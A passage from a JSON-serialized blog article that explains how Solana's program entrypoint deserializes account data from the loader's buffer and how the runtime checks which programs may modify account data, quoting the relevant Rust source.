"type":21,"tag":153,"props":17367,"children":17368},{"style":192},[17369],{"type":26,"value":17370},"program_id",{"type":21,"tag":153,"props":17372,"children":17373},{"style":160},[17374],{"type":26,"value":1670},{"type":21,"tag":153,"props":17376,"children":17377},{"style":192},[17378],{"type":26,"value":2987},{"type":21,"tag":153,"props":17380,"children":17381},{"style":160},[17382],{"type":26,"value":1670},{"type":21,"tag":153,"props":17384,"children":17385},{"style":192},[17386],{"type":26,"value":17387},"instruction_data",{"type":21,"tag":153,"props":17389,"children":17390},{"style":160},[17391],{"type":26,"value":2362},{"type":21,"tag":153,"props":17393,"children":17394},{"style":198},[17395],{"type":26,"value":17396},"=\n",{"type":21,"tag":153,"props":17398,"children":17399},{"class":155,"line":239},[17400,17405,17409,17413,17418,17422,17427,17431,17436,17440,17444],{"type":21,"tag":153,"props":17401,"children":17402},{"style":170},[17403],{"type":26,"value":17404},"        unsafe",{"type":21,"tag":153,"props":17406,"children":17407},{"style":160},[17408],{"type":26,"value":12308},{"type":21,"tag":153,"props":17410,"children":17411},{"style":198},[17412],{"type":26,"value":4421},{"type":21,"tag":153,"props":17414,"children":17415},{"style":170},[17416],{"type":26,"value":17417},"crate",{"type":21,"tag":153,"props":17419,"children":17420},{"style":198},[17421],{"type":26,"value":265},{"type":21,"tag":153,"props":17423,"children":17424},{"style":160},[17425],{"type":26,"value":17426},"entrypoint",{"type":21,"tag":153,"props":17428,"children":17429},{"style":198},[17430],{"type":26,"value":265},{"type":21,"tag":153,"props":17432,"children":17433},{"style":181},[17434],{"type":26,"value":17435},"deserialize",{"type":21,"tag":153,"props":17437,"children":17438},{"style":160},[17439],{"type":26,"value":189},{"type":21,"tag":153,"props":17441,"children":17442},{"style":192},[17443],{"type":26,"value":11093},{"type":21,"tag":153,"props":17445,"children":17446},{"style":160},[17447],{"type":26,"value":17448},") };\n",{"type":21,"tag":153,"props":17450,"children":17451},{"class":155,"line":382},[17452,17457,17462,17467,17471,17475,17479,17483,17487,17491,17495,17499,17503],{"type":21,"tag":153,"props":17453,"children":17454},{"style":1751},[17455],{"type":26,"value":17456},"    match",{"type":21,"tag":153,"props":17458,"children":17459},{"style":198},[17460],{"type":26,"value":17461}," $",{"type":21,"tag":153,"props":17463,"children":17464},{"style":192},[17465],{"type":26,"value":17466},"process_instruction",{"type":21,"tag":153,"props":17468,"children":17469},{"style":160},[17470],{"type":26,"value":189},{"type":21,"tag":153,"props":17472,"children":17473},{"style":198},[17474],{"type":26,"value":1974},{"type":21,"tag":153,"props":17476,"children":17477},{"style":192},[17478],{"type":26,"value":17370},{"type":21,"tag":153,"props":17480,"children":17481},{"style":160},[17482],{"type":26,"value":1670},{"type":21,"tag":153,"props":17484,"children":17485},{"style":198},[17486],{"type":26,"value":1974},{"type":21,"tag":153,"props":17488,"children":17489},{"style":192},[17490],{"type":26,"value":2987},{"type":21,"tag":153,"props":17492,"children":17493},{"style":160},[17494],{"type":26,"value":1670},{"type":21,"tag":153,"props":17496,"children":17497},{"style":198},[17498],{"type":26,"value":1974},{"type":21,"tag":153,"props":17500,"children":17501},{"style":192},[17502],{"type":26,"value":17387},{"type":21,"tag":153,"props":17504,"children":17505},{"style":160},[17506],{"type":26,"value":2659},{"type":21,"tag":153,"props":17508,"children":17509},{"class":155,"line":501},[17510,17515,17520,17525,17529,17533,17537,17541,17545],{"type":21,"tag":153,"props":17511,"children":17512},{"style":214},[17513],{"type":26,"value":17514},"        Ok",{"type":21,"tag":153,"props":17516,"children":17517},{"style":160},[17518],{"type":26,"value":17519},"(()) ",{"type":21,"tag":153,"props":17521,"children":17522},{"style":198},[17523],{"type":26,"value":17524},"=>",{"type":21,"tag":153,"props":17526,"children":17527},{"style":198},[17528],{"type":26,"value":17461},{"type":21,"tag":153,"props":17530,"children":17531},{"style":170},[17532],{"type":26,"value":17417},{"type":21,"tag":153,"props":17534,"children":17535},{"style":198},[17536],{"type":26,"value":265},{"type":21,"tag":153,"props":17538,"children":17539},{"style":160},[17540],{"type":26,"value":17426},{"type":21,"tag":153,"props":17542,"children":17543},{"style":198},[17544],{"type":26,"value":265},{"type":21,"tag":153,"props":17546,"children":17547},{"style":160},[17548],{"type":26,"value":17549},"SUCCESS,\n",{"type":21,"tag":153,"props":17551,"children":17552},{"class":155,"line":533},[17553,17558,17562,17567,17571,17575,17580,17584,17589],{"type":21,"tag":153,"props":17554,"children":17555},{"style":214},[17556],{"type":26,"value":17557},"        Err",{"type":21,"tag":153,"props":17559,"children":17560},{"style":160},[17561],{"type":26,"value":189},{"type":21,"tag":153,"props":17563,"children":17564},{"style":192},[17565],{"type":26,"value":17566},"error",{"type":21,"tag":153,"props":17568,"children":17569},{"style":160},[17570],{"type":26,"value":2362},{"type":21,"tag":153,"props":17572,"children":17573},{"style":198},[17574],{"type":26,"value":17524},{"type":21,"tag":153,"props":17576,"children":17577},{"style":192},[17578],{"type":26,"value":17579}," error",{"type":21,"tag":153,"props":17581,"children":17582},{"style":198},[17583],{"type":26,"value":355},{"type":21,"tag":153,"props":17585,"children":17586},{"style":181},[17587],{"type":26,"value":17588},"into",{"type":21,"tag":153,"props":17590,"children":17591},{"style":160},[17592],{"type":26,"value":721},{"type":21,"tag":153,"props":17594,"children":17595},{"class":155,"line":542},[17596],{"type":21,"tag":153,"props":17597,"children":17598},{"style":160},[17599],{"type":26,"value":539},{"type":21,"tag":153,"props":17601,"children":17602},{"class":155,"line":762},[17603],{"type":21,"tag":153,"props":17604,"children":17605},{"style":160},[17606],{"type":26,"value":548},{"type":21,"tag":22,"props":17608,"children":17609},{},[17610,17612,17617,17619,17625,17627,17634,17636,17641,17643,17650],{"type":26,"value":17611},"What we see here is the contract's real entrypoint - it takes a ",{"type":21,"tag":78,"props":17613,"children":17615},{"className":17614},[],[17616],{"type":26,"value":217},{"type":26,"value":17618}," buffer in from the loader, and calls ",{"type":21,"tag":78,"props":17620,"children":17622},{"className":17621},[],[17623],{"type":26,"value":17624},"solana_program::entrypoint::deserialize",{"type":26,"value":17626},", which then ",{"type":21,"tag":29,"props":17628,"children":17631},{"href":17629,"rel":17630},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[33],[17632],{"type":26,"value":17633},"parses out",{"type":26,"value":17635}," all the ",{"type":21,"tag":78,"props":17637,"children":17639},{"className":17638},[],[17640],{"type":26,"value":2907},{"type":26,"value":17642},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":21,"tag":29,"props":17644,"children":17647},{"href":17645,"rel":17646},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[33],[17648],{"type":26,"value":17649},"laid out",{"type":26,"value":201},{"type":21,"tag":143,"props":17652,"children":17654},{"className":145,"code":17653,"language":147,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[17655],{"type":21,"tag":78,"props":17656,"children":17657},{"__ignoreMap":7},[17658,17675,17755,17788,17795,17841,17886,17894,17918],{"type":21,"tag":153,"props":17659,"children":17660},{"class":155,"line":156},[17661,17666,17670],{"type":21,"tag":153,"props":17662,"children":17663},{"style":160},[17664],{"type":26,"value":17665},"#[allow(clippy",{"type":21,"tag":153,"props":17667,"children":17668},{"style":198},[17669],{"type":26,"value":265},{"type":21,"tag":153,"props":17671,"children":17672},{"style":160},[17673],{"type":26,"value":17674},"cast_ptr_alignment)]\n",{"type":21,"tag":153,"props":17676,"children":17677},{"class":155,"line":166},[17678,17682,17687,17691,17695,17699,17703,17707,17711,17715,17719,17723,17727,17731,17735,17739,17743,17747,17751],{"type":21,"tag":153,"props":17679,"children":17680},{"style":170},[17681],{"type":26,"value":1555},{"type":21,"tag":153,"props":17683,"children":17684},{"style":192},[17685],{"type":26,"value":17686}," data_len",{"type":21,"tag":153,"props":17688,"children":17689},{"style":198},[17690],{"type":26,"value":255},{"type":21,"tag":153,"props":17692,"children":17693},{"style":198},[17694],{"type":26,"value":5080},{"type":21,"tag":153,"props":17696,"children":17697},{"style":160},[17698],{"type":26,"value":189},{"type":21,"tag":153,"props":17700,"children":17701},{"style":192},[17702],{"type":26,"value":11093},{"type":21,"tag":153,"props":17704,"children":17705},{"style":198},[17706],{"type":26,"value":355},{"type":21,"tag":153,"props":17708,"children":17709},{"style":181},[17710],{"type":26,"value":12360},{"type":21,"tag":153,"props":17712,"children":17713},{"style":160},[17714],{"type":26,"value":189},{"type":21,"tag":153,"props":17716,"children":17717},{"style":192},[17718],{"type":26,"value":16610},{"type":21,"tag":153,"props":17720,"children":17721},{"style":160},[17722],{"type":26,"value":2362},{"type":21,"tag":153,"props":17724,"children":17725},{"style":170},[17726],{"type":26,"value":11567},{"type":21,"tag":153,"props":17728,"children":17729},{"style":198},[17730],{"type":26,"value":5080},{"type":21,"tag":153,"props":17732,"children":17733},{"style":170},[17734],{"type":26,"value":5085},{"type":21,"tag":153,"props":17736,"children":17737},{"style":214},[17738],{"type":26,"value":323},{"type":21,"tag":153,"props":17740,"children":17741},{"style":160},[17742],{"type":26,"value":2362},{"type":21,"tag":153,"props":17744,"children":17745},{"style":170},[17746],{"type":26,"value":11567},{"type":21,"tag":153,"props":17748,"children":17749},{"style":214},[17750],{"type":26,"value":16445},{"type":21,"tag":153,"props":17752,"children":17753},{"style":160},[17754],{"type":26,"value":1759},{"type":21,"tag":153,"props":17756,"children":17757},{"class":155,"line":225},[17758,17762,17767,17772,17776,17780,17784],{"type":21,"tag":153,"props":17759,"children":17760},{"style":192},[17761],{"type":26,"value":16610},{"type":21,"tag":153,"props":17763,"children":17764},{"style":198},[17765],{"type":26,"value":17766}," +=",{"type":21,"tag":153,"props":17768,"children":17769},{"style":181},[17770],{"type":26,"value":17771}," size_of",{"type":21,"tag":153,"props":17773,"children":17774},{"style":198},[17775],{"type":26,"value":265},{"type":21,"tag":153,"props":17777,"children":17778},{"style":160},[17779],{"type":26,"value":8537},{"type":21,"tag":153,"props":17781,"children":17782},{"style":214},[17783],{"type":26,"value":445},{"type":21,"tag":153,"props":17785,"children":17786},{"style":160},[17787],{"type":26,"value":11178},{"type":21,"tag":153,"props":17789,"children":17790},{"class":155,"line":239},[17791],{"type":21,"tag":153,"props":17792,"children":17793},{"emptyLinePlaceholder":16},[17794],{"type":26,"value":759},{"type":21,"tag":153,"props":17796,"children":17797},{"class":155,"line":382},[17798,17802,17806,17810,17815,17819,17823,17828,17832,17836],{"type":21,"tag":153,"props":17799,"children":17800},{"style":170},[17801],{"type":26,"value":1555},{"type":21,"tag":153,"props":17803,"children":17804},{"style":192},[17805],{"type":26,"value":696},{"type":21,"tag":153,"props":17807,"children":17808},{"style":198},[17809],{"type":26,"value":255},{"type":21,"tag":153,"props":17811,"children":17812},{"style":214},[17813],{"type":26,"value":17814}," Rc",{"type":21,"tag":153,"props":17816,"children":17817},{"style":198},[17818],{"type":26,"value":265},{"type":21,"tag":153,"props":17820,"children":17821},{"style":181},[17822],{"type":26,"value":1804},{"type":21,"tag":153,"props":17824,"children":17825},{"style":160},[17826],{"type":26,"value":17827},"(RefCell",{"type":21,"tag":153,"props":17829,"children":17830},{"style":198},[17831],{"type":26,"value":265},{"type":21,"tag":153,"props":17833,"children":17834},{"style":181},[17835],{"type":26,"value":1804},{"type":21,"tag":153,"props":17837,"children":17838},{"style":160},[17839],{"type":26,"value":17840},"({\n",{"type":21,"tag":153,"props":17842,"children":17843},{"class":155,"line":501},[17844,17849,17853,17857,17861,17865,17869,17873,17878,17882],{"type":21,"tag":153,"props":17845,"children":17846},{"style":181},[17847],{"type":26,"value":17848},"    from_raw_parts_mut",{"type":21,"tag":153,"props":17850,"children":17851},{"style":160},[17852],{"type":26,"value":189},{"type":21,"tag":153,"props":17854,"children":17855},{"style":192},[17856],{"type":26,"value":11093},{"type":21,"tag":153,"props":17858,"children":17859},{"style":198},[17860],{"type":26,"value":355},{"type":21,"tag":153,"props":17862,"children":17863},{"style":181},[17864],{"type":26,"value":12360},{"type":21,"tag":153,"props":17866,"children":17867},{"style":160},[17868],{"type":26,"value":189},{"type":21,"tag":153,"props":17870,"children":17871},{"style":192},[17872],{"type":26,"value":16610},{"type":21,"tag":153,"props":17874,"children":17875},{"style":160},[17876],{"type":26,"value":17877},"), ",{"type":21,"tag":153,"props":17879,"children":17880},{"style":192},[17881],{"type":26,"value":16519},{"type":21,"tag":153,"props":17883,"children":17884},{"style":160},[17885],{"type":26,"value":5909},{"type":21,"tag":153,"props":17887,"children":17888},{"class":155,"line":533},[17889],{"type":21,"tag":153,"props":17890,"children":17891},{"style":160},[17892],{"type":26,"value":17893},"}));\n",{"type":21,"tag":153,"props":17895,"children":17896},{"class":155,"line":542},[17897,17901,17905,17909,17913],{"type":21,"tag":153,"props":17898,"children":17899},{"style":192},[17900],{"type":26,"value":16610},{"type":21,"tag":153,"props":17902,"children":17903},{"style":198},[17904],{"type":26,"value":17766},{"type":21,"tag":153,"props":17906,"children":17907},{"style":192},[17908],{"type":26,"value":17686},{"type":21,"tag":153,"props":17910,"children":17911},{"style":198},[17912],{"type":26,"value":5527},{"type":21,"tag":153,"props":17914,"children":17915},{"style":160},[17916],{"type":26,"value":17917}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":21,"tag":153,"props":17919,"children":17920},{"class":155,"line":762},[17921,17925,17929,17933,17937,17941,17945,17949,17953,17957,17961,17966,17971],{"type":21,"tag":153,"props":17922,"children":17923},{"style":192},[17924],{"type":26,"value":16610},{"type":21,"tag":153,"props":17926,"children":17927},{"style":198},[17928],{"type":26,"value":17766},{"type":21,"tag":153,"props":17930,"children":17931},{"style":160},[17932],{"type":26,"value":5820},{"type":21,"tag":153,"props":17934,"children":17935},{"style":192},[17936],{"type":26,"value":16610},{"type":21,"tag":153,"props":17938,"children":17939},{"style":170},[17940],{"type":26,"value":11553},{"type":21,"tag":153,"props":17942,"children":17943},{"style":198},[17944],{"type":26,"value":5080},{"type":21,"tag":153,"props":17946,"children":17947},{"style":170},[17948],{"type":26,"value":5085},{"type":21,"tag":153,"props":17950,"children":17951},{"style":214},[17952],{"type":26,"value":5090},{"type":21,"tag":153,"props":17954,"children":17955},{"style":160},[17956],{"type":26,"value":2071},{"type":21,"tag":153,"props":17958,"children":17959},{"style":198},[17960],{"type":26,"value":355},{"type":21,"tag":153,"props":17962,"children":17963},{"style":181},[17964],{"type":26,"value":17965},"align_offset",{"type":21,"tag":153,"props":17967,"children":17968},{"style":160},[17969],{"type":26,"value":17970},"(BPF_ALIGN_OF_U128); ",{"type":21,"tag":153,"props":17972,"children":17973},{"style":3050},[17974],{"type":26,"value":17975},"// padding\n",{"type":21,"tag":22,"props":17977,"children":17978},{},[17979,17981,17986,17988,17994,17996,18007,18009,18014,18016,18022,18024,18030,18032,18038],{"type":26,"value":17980},"In English, we have the length of the data, as a ",{"type":21,"tag":78,"props":17982,"children":17984},{"className":17983},[],[17985],{"type":26,"value":445},{"type":26,"value":17987},", followed immediately by the data, and an additional ",{"type":21,"tag":78,"props":17989,"children":17991},{"className":17990},[],[17992],{"type":26,"value":17993},"MAX_PERMITTED_DATA_INCREASE",{"type":26,"value":17995}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":21,"tag":29,"props":17997,"children":18000},{"href":17998,"rel":17999},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[33],[18001],{"type":21,"tag":78,"props":18002,"children":18004},{"className":18003},[],[18005],{"type":26,"value":18006},"slice::from_raw_parts_mut",{"type":26,"value":18008},") - slices are how Rust represents a, well, ",{"type":21,"tag":5302,"props":18010,"children":18011},{},[18012],{"type":26,"value":18013},"slice",{"type":26,"value":18015}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":21,"tag":78,"props":18017,"children":18019},{"className":18018},[],[18020],{"type":26,"value":18021},"Rc\u003CRefCell\u003CT>>",{"type":26,"value":18023},", giving us the unwieldy-looking type of ",{"type":21,"tag":78,"props":18025,"children":18027},{"className":18026},[],[18028],{"type":26,"value":18029},"AccountInfo.data",{"type":26,"value":18031},": ",{"type":21,"tag":78,"props":18033,"children":18035},{"className":18034},[],[18036],{"type":26,"value":18037},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":26,"value":355},{"type":21,"tag":22,"props":18040,"children":18041},{},[18042,18044,18051],{"type":26,"value":18043},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":21,"tag":29,"props":18045,"children":18048},{"href":18046,"rel":18047},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[33],[18049],{"type":26,"value":18050},"cloning the referenced account",{"type":26,"value":201},{"type":21,"tag":143,"props":18053,"children":18055},{"className":145,"code":18054,"language":147,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[18056],{"type":21,"tag":78,"props":18057,"children":18058},{"__ignoreMap":7},[18059,18067],{"type":21,"tag":153,"props":18060,"children":18061},{"class":155,"line":156},[18062],{"type":21,"tag":153,"props":18063,"children":18064},{"style":3050},[18065],{"type":26,"value":18066},"// Duplicate account, clone the original\n",{"type":21,"tag":153,"props":18068,"children":18069},{"class":155,"line":166},[18070,18074,18078,18082,18086,18090,18094,18099,18103,18107,18111,18115,18119],{"type":21,"tag":153,"props":18071,"children":18072},{"style":192},[18073],{"type":26,"value":2987},{"type":21,"tag":153,"props":18075,"children":18076},{"style":198},[18077],{"type":26,"value":355},{"type":21,"tag":153,"props":18079,"children":18080},{"style":181},[18081],{"type":26,"value":6545},{"type":21,"tag":153,"props":18083,"children":18084},{"style":160},[18085],{"type":26,"value":189},{"type":21,"tag":153,"props":18087,"children":18088},{"style":192},[18089],{"type":26,"value":2987},{"type":21,"tag":153,"props":18091,"children":18092},{"style":160},[18093],{"type":26,"value":211},{"type":21,"tag":153,"props":18095,"children":18096},{"style":192},[18097],{"type":26,"value":18098},"dup_info",{"type":21,"tag":153,"props":18100,"children":18101},{"style":170},[18102],{"type":26,"value":11553},{"type":21,"tag":153,"props":18104,"children":18105},{"style":214},[18106],{"type":26,"value":16445},{"type":21,"tag":153,"props":18108,"children":18109},{"style":160},[18110],{"type":26,"value":350},{"type":21,"tag":153,"props":18112,"children":18113},{"style":198},[18114],{"type":26,"value":355},{"type":21,"tag":153,"props":18116,"children":18117},{"style":181},[18118],{"type":26,"value":3420},{"type":21,"tag":153,"props":18120,"children":18121},{"style":160},[18122],{"type":26,"value":379},{"type":21,"tag":22,"props":18124,"children":18125},{},[18126,18128,18133,18135,18140,18142,18147,18149,18154,18155,18161,18163,18168,18170,18182,18184,18189],{"type":26,"value":18127},"Since ",{"type":21,"tag":78,"props":18129,"children":18131},{"className":18130},[],[18132],{"type":26,"value":195},{"type":26,"value":18134}," inside the ",{"type":21,"tag":78,"props":18136,"children":18138},{"className":18137},[],[18139],{"type":26,"value":2907},{"type":26,"value":18141}," is a ",{"type":21,"tag":78,"props":18143,"children":18145},{"className":18144},[],[18146],{"type":26,"value":18021},{"type":26,"value":18148},", where the ",{"type":21,"tag":78,"props":18150,"children":18152},{"className":18151},[],[18153],{"type":26,"value":8717},{"type":26,"value":18141},{"type":21,"tag":78,"props":18156,"children":18158},{"className":18157},[],[18159],{"type":26,"value":18160},"&mut [u8]",{"type":26,"value":18162}," pointing at the actual data buffer, when we clone the ",{"type":21,"tag":78,"props":18164,"children":18166},{"className":18165},[],[18167],{"type":26,"value":2907},{"type":26,"value":18169},", we get a new reference",{"type":21,"tag":18171,"props":18172,"children":18173},"sup",{},[18174],{"type":21,"tag":29,"props":18175,"children":18180},{"href":18176,"ariaDescribedBy":18177,"dataFootnoteRef":7,"id":18179},"#user-content-fn-rc-refs",[18178],"footnote-label","user-content-fnref-rc-refs",[18181],{"type":26,"value":3033},{"type":26,"value":18183}," to the slice pointing at the ",{"type":21,"tag":5302,"props":18185,"children":18186},{},[18187],{"type":26,"value":18188},"same",{"type":26,"value":18190}," data buffer.",{"type":21,"tag":22,"props":18192,"children":18193},{},[18194,18196,18202,18204,18210],{"type":26,"value":18195},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":21,"tag":78,"props":18197,"children":18199},{"className":18198},[],[18200],{"type":26,"value":18201},"RefCell",{"type":26,"value":18203}," to check the rules at runtime. (The ",{"type":21,"tag":78,"props":18205,"children":18207},{"className":18206},[],[18208],{"type":26,"value":18209},"lamports",{"type":26,"value":18211}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":21,"tag":22,"props":18213,"children":18214},{},[18215,18217,18223],{"type":26,"value":18216},"Changing the data of an account is done by simply writing to ",{"type":21,"tag":78,"props":18218,"children":18220},{"className":18219},[],[18221],{"type":26,"value":18222},"AccountInfo::data",{"type":26,"value":18224},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":21,"tag":22,"props":18226,"children":18227},{},[18228,18230,18237],{"type":26,"value":18229},"This is also where the ",{"type":21,"tag":29,"props":18231,"children":18234},{"href":18232,"rel":18233},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[33],[18235],{"type":26,"value":18236},"runtime validity checks",{"type":26,"value":18238}," are imposed.",{"type":21,"tag":143,"props":18240,"children":18242},{"className":145,"code":18241,"language":147,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[18243],{"type":21,"tag":78,"props":18244,"children":18245},{"__ignoreMap":7},[18246,18254,18262,18270,18311,18329,18358,18403,18410,18434,18469,18494,18526,18541,18573,18580],{"type":21,"tag":153,"props":18247,"children":18248},{"class":155,"line":156},[18249],{"type":21,"tag":153,"props":18250,"children":18251},{"style":3050},[18252],{"type":26,"value":18253},"// Only the owner may change account data\n",{"type":21,"tag":153,"props":18255,"children":18256},{"class":155,"line":166},[18257],{"type":21,"tag":153,"props":18258,"children":18259},{"style":3050},[18260],{"type":26,"value":18261},"//   and if the account is writable\n",{"type":21,"tag":153,"props":18263,"children":18264},{"class":155,"line":225},[18265],{"type":21,"tag":153,"props":18266,"children":18267},{"style":3050},[18268],{"type":26,"value":18269},"//   and if the account is not executable\n",{"type":21,"tag":153,"props":18271,"children":18272},{"class":155,"line":239},[18273,18277,18281,18285,18289,18293,18298,18302,18307],{"type":21,"tag":153,"props":18274,"children":18275},{"style":1751},[18276],{"type":26,"value":2338},{"type":21,"tag":153,"props":18278,"children":18279},{"style":198},[18280],{"type":26,"value":15581},{"type":21,"tag":153,"props":18282,"children":18283},{"style":160},[18284],{"type":26,"value":189},{"type":21,"tag":153,"props":18286,"children":18287},{"style":192},[18288],{"type":26,"value":17370},{"type":21,"tag":153,"props":18290,"children":18291},{"style":198},[18292],{"type":26,"value":6031},{"type":21,"tag":153,"props":18294,"children":18295},{"style":192},[18296],{"type":26,"value":18297}," pre",{"type":21,"tag":153,"props":18299,"children":18300},{"style":198},[18301],{"type":26,"value":355},{"type":21,"tag":153,"props":18303,"children":18304},{"style":181},[18305],{"type":26,"value":18306},"owner",{"type":21,"tag":153,"props":18308,"children":18309},{"style":160},[18310],{"type":26,"value":10462},{"type":21,"tag":153,"props":18312,"children":18313},{"class":155,"line":382},[18314,18319,18324],{"type":21,"tag":153,"props":18315,"children":18316},{"style":198},[18317],{"type":26,"value":18318},"    &&",{"type":21,"tag":153,"props":18320,"children":18321},{"style":192},[18322],{"type":26,"value":18323}," is_writable",{"type":21,"tag":153,"props":18325,"children":18326},{"style":3050},[18327],{"type":26,"value":18328},"  // line coverage used to get branch coverage\n",{"type":21,"tag":153,"props":18330,"children":18331},{"class":155,"line":501},[18332,18336,18340,18344,18348,18353],{"type":21,"tag":153,"props":18333,"children":18334},{"style":198},[18335],{"type":26,"value":18318},{"type":21,"tag":153,"props":18337,"children":18338},{"style":198},[18339],{"type":26,"value":15581},{"type":21,"tag":153,"props":18341,"children":18342},{"style":192},[18343],{"type":26,"value":143},{"type":21,"tag":153,"props":18345,"children":18346},{"style":198},[18347],{"type":26,"value":355},{"type":21,"tag":153,"props":18349,"children":18350},{"style":181},[18351],{"type":26,"value":18352},"executable",{"type":21,"tag":153,"props":18354,"children":18355},{"style":160},[18356],{"type":26,"value":18357},"())\n",{"type":21,"tag":153,"props":18359,"children":18360},{"class":155,"line":533},[18361,18365,18369,18373,18377,18381,18386,18391,18395,18399],{"type":21,"tag":153,"props":18362,"children":18363},{"style":198},[18364],{"type":26,"value":18318},{"type":21,"tag":153,"props":18366,"children":18367},{"style":192},[18368],{"type":26,"value":18297},{"type":21,"tag":153,"props":18370,"children":18371},{"style":198},[18372],{"type":26,"value":355},{"type":21,"tag":153,"props":18374,"children":18375},{"style":181},[18376],{"type":26,"value":195},{"type":21,"tag":153,"props":18378,"children":18379},{"style":160},[18380],{"type":26,"value":2461},{"type":21,"tag":153,"props":18382,"children":18383},{"style":198},[18384],{"type":26,"value":18385},"!=",{"type":21,"tag":153,"props":18387,"children":18388},{"style":192},[18389],{"type":26,"value":18390}," post",{"type":21,"tag":153,"props":18392,"children":18393},{"style":198},[18394],{"type":26,"value":355},{"type":21,"tag":153,"props":18396,"children":18397},{"style":181},[18398],{"type":26,"value":195},{"type":21,"tag":153,"props":18400,"children":18401},{"style":160},[18402],{"type":26,"value":10462},{"type":21,"tag":153,"props":18404,"children":18405},{"class":155,"line":542},[18406],{"type":21,"tag":153,"props":18407,"children":18408},{"style":160},[18409],{"type":26,"value":13601},{"type":21,"tag":153,"props":18411,"children":18412},{"class":155,"line":762},[18413,18417,18421,18425,18429],{"type":21,"tag":153,"props":18414,"children":18415},{"style":1751},[18416],{"type":26,"value":2434},{"type":21,"tag":153,"props":18418,"children":18419},{"style":192},[18420],{"type":26,"value":18297},{"type":21,"tag":153,"props":18422,"children":18423},{"style":198},[18424],{"type":26,"value":355},{"type":21,"tag":153,"props":18426,"children":18427},{"style":181},[18428],{"type":26,"value":18352},{"type":21,"tag":153,"props":18430,"children":18431},{"style":160},[18432],{"type":26,"value":18433},"() {\n",{"type":21,"tag":153,"props":18435,"children":18436},{"class":155,"line":776},[18437,18442,18447,18451,18456,18460,18465],{"type":21,"tag":153,"props":18438,"children":18439},{"style":1751},[18440],{"type":26,"value":18441},"        return",{"type":21,"tag":153,"props":18443,"children":18444},{"style":214},[18445],{"type":26,"value":18446}," Err",{"type":21,"tag":153,"props":18448,"children":18449},{"style":160},[18450],{"type":26,"value":189},{"type":21,"tag":153,"props":18452,"children":18453},{"style":214},[18454],{"type":26,"value":18455},"InstructionError",{"type":21,"tag":153,"props":18457,"children":18458},{"style":198},[18459],{"type":26,"value":265},{"type":21,"tag":153,"props":18461,"children":18462},{"style":214},[18463],{"type":26,"value":18464},"ExecutableDataModified",{"type":21,"tag":153,"props":18466,"children":18467},{"style":160},[18468],{"type":26,"value":530},{"type":21,"tag":153,"props":18470,"children":18471},{"class":155,"line":795},[18472,18477,18481,18486,18490],{"type":21,"tag":153,"props":18473,"children":18474},{"style":160},[18475],{"type":26,"value":18476},"    } ",{"type":21,"tag":153,"props":18478,"children":18479},{"style":1751},[18480],{"type":26,"value":2717},{"type":21,"tag":153,"props":18482,"children":18483},{"style":1751},[18484],{"type":26,"value":18485}," if",{"type":21,"tag":153,"props":18487,"children":18488},{"style":192},[18489],{"type":26,"value":18323},{"type":21,"tag":153,"props":18491,"children":18492},{"style":160},[18493],{"type":26,"value":236},{"type":21,"tag":153,"props":18495,"children":18496},{"class":155,"line":808},[18497,18501,18505,18509,18513,18517,18522],{"type":21,"tag":153,"props":18498,"children":18499},{"style":1751},[18500],{"type":26,"value":18441},{"type":21,"tag":153,"props":18502,"children":18503},{"style":214},[18504],{"type":26,"value":18446},{"type":21,"tag":153,"props":18506,"children":18507},{"style":160},[18508],{"type":26,"value":189},{"type":21,"tag":153,"props":18510,"children":18511},{"style":214},[18512],{"type":26,"value":18455},{"type":21,"tag":153,"props":18514,"children":18515},{"style":198},[18516],{"type":26,"value":265},{"type":21,"tag":153,"props":18518,"children":18519},{"style":214},[18520],{"type":26,"value":18521},"ExternalAccountDataModified",{"type":21,"tag":153,"props":18523,"children":18524},{"style":160},[18525],{"type":26,"value":530},{"type":21,"tag":153,"props":18527,"children":18528},{"class":155,"line":820},[18529,18533,18537],{"type":21,"tag":153,"props":18530,"children":18531},{"style":160},[18532],{"type":26,"value":18476},{"type":21,"tag":153,"props":18534,"children":18535},{"style":1751},[18536],{"type":26,"value":2717},{"type":21,"tag":153,"props":18538,"children":18539},{"style":160},[18540],{"type":26,"value":236},{"type":21,"tag":153,"props":18542,"children":18543},{"class":155,"line":842},[18544,18548,18552,18556,18560,18564,18569],{"type":21,"tag":153,"props":18545,"children":18546},{"style":1751},[18547],{"type":26,"value":18441},{"type":21,"tag":153,"props":18549,"children":18550},{"style":214},[18551],{"type":26,"value":18446},{"type":21,"tag":153,"props":18553,"children":18554},{"style":160},[18555],{"type":26,"value":189},{"type":21,"tag":153,"props":18557,"children":18558},{"style":214},[1855